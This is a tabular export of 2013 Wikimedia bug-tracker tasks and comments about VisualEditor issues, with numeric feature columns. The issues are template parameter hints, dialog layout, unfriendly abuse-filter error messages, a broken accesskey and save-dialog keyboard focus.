https://gerrit.wikimedia.org/r/73136",,,1373560433,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.35,0.95,"Change 73136 merged by jenkins-bot:
Auto-add required params for user added templates

GERRIT_URL"
232603,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,"Leaving at ""recommend"" for now since we can't fully ensure that requiring all parameters is consistently the desired behavior.",,,1373507848,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,1,,4.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,17.0,17.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,0.0,4.0,4.0,4.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,17.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.695652173913044,0.9565217391304348,"Leaving at ""recommend"" for now since we can't fully ensure that requiring all parameters is consistently the desired behavior."
232594,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,"(In reply to comment #2)
> Change 73136 had a related patch set uploaded by Jforrester:
> Auto-add required params for user added templates
> 
> https://gerrit.wikimedia.org/r/73136

This just adds the parameters, not ""enforcing"" their presence. Not sure if we should do that (or let users do what they want).

Another improvement under this bug will be to indicate mandatory ones in the list of available parameters on the template. (Put them at the top? Highlight them? Icon? …)",,,1373503365,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,2.0,4.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,11.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,13.0,1.0,1.0,10.0,0.0,0.0,0.0,1.0,10.0,0.0,1.0,0.0,6.0,11.0,2.0,4.0,2.0,0.0,6.0,0.0,1.0,0.0,2.0,1.0,0.0,0.0,0.0,3.5301204819277108,0.7228915662650602,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE

This just adds the parameters, not ""enforcing"" their presence. Not sure if we should do that (or let users do what they want).

Another improvement under this bug will be to indicate mandatory ones in the list of available parameters on the template. (Put them at the top? Highlight them? Icon? …)"
232587,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,"Change 73136 had a related patch set uploaded by Jforrester:
Auto-add required params for user added templates

https://gerrit.wikimedia.org/r/73136",,,1373503236,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.6521739130434785,1.0,"Change 73136 had a related patch set uploaded by Jforrester:
Auto-add required params for user added templates

GERRIT_URL"
232580,VisualEditor: Transclusion dialog should recommend TemplateData-hinted mandatory parameters,"Indeed, this seems like a low hanging fruit improvement - when inserting a new template, having all the required fields immediately be ready for use would significantly speed up template completion.",,,1373354062,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-ob2d5ffvdmtamrwpb4u7,task_subcomment,,True,c1,3,False,,,1,,3.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,15.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,3.0,3.0,0.0,15.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,9.0,0.0,0.0,0.0,4.9411764705882355,0.9117647058823529,"Indeed, this seems like a low hanging fruit improvement - when inserting a new template, having all the required fields immediately be ready for use would significantly speed up template completion."
52728,VisualEditor: Transclusion dialog's layout of template's parameters broken (CSS caching issue?),"http://en.wikipedia.org/wiki/File:VisualEditor_-_Cite_template_layout_issue_%28TemplateData%29.png

Tested on Firefox 22, Mono skin:

'''Steps to reproduce'''
* Open any random page in the visual editor.
* Add a new template - use Cite Web for this.

The output will be akin to the screenshot added. Some the template parameters end up next to each other, and are thus offscreen. Even if that is not the case the description will often be to long to be displayed. Would be nice if those ended up on a new line if that occurred.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1372928700,1373503064.0,PHID-USER-ohetl546bwt5ac2szu5w,False,,False,PHID-TASK-k2f6cmw4o3bualf2yl72,task_description,resolved,True,c1,3,False,False,True,0,,2.0,0.0,0.0,1.0,1.0,8.0,4.0,0.0,0.0,2.5,1.5,2.0,0.0,0.0,0.0,0.0,0.0,4.0,9.5,0.0,1.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,1.5,0.0,0.0,0.0,7.5,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,4.5,9.0,2.5,1.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.5,0.0,0.0,9.5,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,3.5416666666666665,0.7416666666666667,"URL

Tested on Firefox 22, Mono skin:

'''Steps to reproduce'''
* Open any random page in the visual editor.
* Add a new template - use Cite Web for this.

The output will be akin to the screenshot added. Some the template parameters end up next to each other, and are thus offscreen. Even if that is not the case the description will often be to long to be displayed. Would be nice if those ended up on a new line if that occurred.

--------------------------
**Version**: unspecified
**Severity**: major"
231514,VisualEditor: Transclusion dialog's layout of template's parameters broken (CSS caching issue?),"I believe that this should now be fixed; marking as such. If you can reproduce, please re-open.",,,1373503064,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k2f6cmw4o3bualf2yl72,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,13.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.4347826086956523,0.9565217391304348,"I believe that this should now be fixed; marking as such. If you can reproduce, please re-open."
231510,VisualEditor: Transclusion dialog's layout of template's parameters broken (CSS caching issue?),"We believe that this is caused by a caching issue; a big change to how the CSS for dialogs is loaded is coming in this afternoon's deployment that (hopefully) will remove these issues, so I won't close this right now, but it seems likely that we will have fixed this by the end of today. Sorry for the disruption.",,,1373484976,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k2f6cmw4o3bualf2yl72,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,3.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,4.0,0.0,7.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,3.0,1.0,0.0,0.0,0.0,1.0,12.0,3.0,6.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,6.0,7.0,1.0,15.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,6.0,16.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,3.0,0.0,3.0,0.0,0.0,0.0,3.75,0.7794117647058824,"We believe that this is caused by a caching issue; a big change to how the CSS for dialogs is loaded is coming in this afternoon's deployment that (hopefully) will remove these issues, so I won't close this right now, but it seems likely that we will have fixed this by the end of today. Sorry for the disruption."
231506,VisualEditor: Transclusion dialog's layout of template's parameters broken (CSS caching issue?),I can repro in FF20 (in Vector too) but not in Chrome 28.,,,1373358083,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-k2f6cmw4o3bualf2yl72,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,19.0,19.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8125,0.875,I can repro in FF20 (in Vector too) but not in Chrome 28.
231500,VisualEditor: Transclusion dialog's layout of template's parameters broken (CSS caching issue?),Also happening in chrome.,,,1373357244,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-k2f6cmw4o3bualf2yl72,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,4.4,1.0,Also happening in chrome.
231494,VisualEditor: Transclusion dialog's layout of template's parameters broken (CSS caching issue?),%%%*** Bug 50738 has been marked as a duplicate of this bug. ***%%%,,,1372937527,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-k2f6cmw4o3bualf2yl72,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.2916666666666665,0.5833333333333334,%%%*** Bug 50738 has been marked as a duplicate of this bug. ***%%%
52727,Save action doesn't handle abort hooks very elegantly,"When your edit trips the blacklist or an editfilter, you get a very technical and uninformative message.

The edit filter causes:  ""Error: The notification you tried to make was aborted by an extension hook"" to show in the 'save' dialog.

The URL blacklist:  ""Invalid code error"" apparently.

https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=562806113#Blocked_sites

Since this is quite common for newbs to trip, it should be handled better.

--------------------------
**Version**: unspecified
**Severity**: critical
**URL**: https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=562806113#Blocked_sites",High,80.0,1372928040,1374112342.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-pb7leo6kictiruq53qyh,task_description,resolved,True,c1,3,True,False,True,0,,0.0,0.0,0.5,1.5,0.0,5.0,1.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,0.0,2.0,1.0,1.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,0.5,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.5,0.0,0.0,0.0,0.0,13.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.5,9.5,1.5,1.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.5,5.0,0.0,0.0,4.0,0.0,2.5,0.0,0.5,1.5,0.0,0.0,1.0,0.0,0.0,3.6765993265993266,0.6781144781144781,"When your edit trips the blacklist or an editfilter, you get a very technical and uninformative message.

The edit filter causes:  ""Error: The notification you tried to make was aborted by an extension hook"" to show in the 'save' dialog.

The URL blacklist:  ""Invalid code error"" apparently.

URL

Since this is quite common for newbs to trip, it should be handled better.

--------------------------
**Version**: unspecified
**Severity**: critical
**URL**: URL"
231444,Save action doesn't handle abort hooks very elegantly,"* AbuseFilter is bug 50472; resolved fixed, and will be deployed tomorrow.
* SpamBlacklist is bug 50826; resolved fixed, and deployed yesterday.

Marking this as a dupe of 50472.

*** This bug has been marked as a duplicate of bug 50472 ***",,,1374112342,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pb7leo6kictiruq53qyh,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,7.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,3.607142857142857,0.5535714285714286,"* AbuseFilter is bug 50472; resolved fixed, and will be deployed tomorrow.
* SpamBlacklist is bug 50826; resolved fixed, and deployed yesterday.

Marking this as a dupe of 50472.

*** This bug has been marked as a duplicate of bug 50472 ***"
231436,Save action doesn't handle abort hooks very elegantly,"Bumping priority & importance as proper integration with abusefilter must be a blocker, I would think, as rules are being written to prevent VE edits that are destructive to Wikipedia content.",,,1374101269,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-pb7leo6kictiruq53qyh,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,15.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,12.0,12.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,15.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,4.764705882352941,0.8823529411764706,"Bumping priority & importance as proper integration with abusefilter must be a blocker, I would think, as rules are being written to prevent VE edits that are destructive to Wikipedia content."
52725,VisualEditor: [Regression] Broken accesskey on edit tab (Ctrl-Alt-e),"This broke during yesterdays deploy. Now shows <accesskey-ca-editsource> and no key is set. I think Timo fixed it already, but the fix might not have been deployed yet.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1372926360,1373051656.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-hz3zx2etea2vvyzkz3b6,task_description,resolved,True,c1,3,True,False,True,0,,0.0,0.0,0.0,4.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,11.0,0.0,4.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.7857142857142856,0.7857142857142857,"This broke during yesterdays deploy. Now shows <accesskey-ca-editsource> and no key is set. I think Timo fixed it already, but the fix might not have been deployed yet.

--------------------------
**Version**: unspecified
**Severity**: major"
231333,VisualEditor: [Regression] Broken accesskey on edit tab (Ctrl-Alt-e),*** Bug 50817 has been marked as a duplicate of this bug. ***,,,1373077734,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hz3zx2etea2vvyzkz3b6,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50817 has been marked as a duplicate of this bug. ***
231326,VisualEditor: [Regression] Broken accesskey on edit tab (Ctrl-Alt-e),Merged into master; we hope to deploy this soon.,,,1373051656,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hz3zx2etea2vvyzkz3b6,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6363636363636362,1.0,Merged into master; we hope to deploy this soon.
231319,VisualEditor: [Regression] Broken accesskey on edit tab (Ctrl-Alt-e),"Change 72068 merged by jenkins-bot:
mw.ViewPageTarget.init: Add missing ""accesskey-ca-editsource"" message

https://gerrit.wikimedia.org/r/72068",,,1373048824,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hz3zx2etea2vvyzkz3b6,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.739130434782608,0.8260869565217391,"Change 72068 merged by jenkins-bot:
mw.ViewPageTarget.init: Add missing ""accesskey-ca-editsource"" message

GERRIT_URL"
231313,VisualEditor: [Regression] Broken accesskey on edit tab (Ctrl-Alt-e),"Change 72068 had a related patch set uploaded by Krinkle:
mw.ViewPageTarget.init: Add missing ""accesskey-ca-editsource"" message

https://gerrit.wikimedia.org/r/72068",,,1373004195,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hz3zx2etea2vvyzkz3b6,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.846153846153846,0.8846153846153846,"Change 72068 had a related patch set uploaded by Krinkle:
mw.ViewPageTarget.init: Add missing ""accesskey-ca-editsource"" message

GERRIT_URL"
231306,VisualEditor: [Regression] Broken accesskey on edit tab (Ctrl-Alt-e),Confirmed.,,,1372970464,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-hz3zx2etea2vvyzkz3b6,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Confirmed.
52722,VisualEditor: Can no longer access save dialog (cursor keys/backspace/etc.) if it ever loses focus,"Steps to reproduce:

* Navigate to [[Mariposa botnet]] and edit the page in the visual editor.
* Make any textual change - just add ""Test"" somewhere for example.
* click ""Save Page""
* Adding a reason doesn't matter. Just click to close the save page popup.
* Immediately open it again (Don't click anywhere else)
* Try to add a text as the reason, then press backspace or delete what you just added.

For some reason delete and backspace won't work anymore. My guess is that the backspace is send to the editing canvas instead of the textbox - try the following steps as well:

* (Do all the steps from the first section)
* Press ""Review Your changes"".
* Wait for the review to load, then press ""Return To Save"", and close the resulting form.
* Now click the search block (In mono) and enter a random search criteria.
* Once entered, try to remove it again.

What happens for me: Entering data in the search box works fine, but pressing backspace somehow causes text to be removed from the article, instead of the search box i was just typing in.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49569",High,80.0,1372923300,1381187020.0,PHID-USER-ohetl546bwt5ac2szu5w,False,,False,PHID-TASK-uxrck24is2ussi4ctgr2,task_description,resolved,True,c1,3,False,False,False,0,,1.0,0.0,0.0,0.3333333333333333,1.0,3.3333333333333335,0.3333333333333333,0.0,0.0,0.0,2.6666666666666665,1.0,0.3333333333333333,0.0,0.0,1.0,0.0,8.333333333333334,8.0,0.0,2.6666666666666665,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,1.6666666666666667,0.6666666666666666,1.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,1.6666666666666667,1.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,6.333333333333333,1.3333333333333333,11.0,0.3333333333333333,2.0,7.333333333333333,0.0,0.0,0.0,0.0,10.666666666666666,0.0,0.0,0.0,2.3333333333333335,8.0,1.0,0.0,2.6666666666666665,0.0,2.3333333333333335,0.0,0.6666666666666666,1.0,0.3333333333333333,1.6666666666666667,0.0,0.0,1.0,3.4931517757604715,0.6751871317088708,"Steps to reproduce:

* Navigate to [[Mariposa botnet]] and edit the page in the visual editor.
* Make any textual change - just add ""Test"" somewhere for example.
* click ""Save Page""
* Adding a reason doesn't matter. Just click to close the save page popup.
* Immediately open it again (Don't click anywhere else)
* Try to add a text as the reason, then press backspace or delete what you just added.

For some reason delete and backspace won't work anymore. My guess is that the backspace is send to the editing canvas instead of the textbox - try the following steps as well:

* (Do all the steps from the first section)
* Press ""Review Your changes"".
* Wait for the review to load, then press ""Return To Save"", and close the resulting form.
* Now click the search block (In mono) and enter a random search criteria.
* Once entered, try to remove it again.

What happens for me: Entering data in the search box works fine, but pressing backspace somehow causes text to be removed from the article, instead of the search box i was just typing in.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
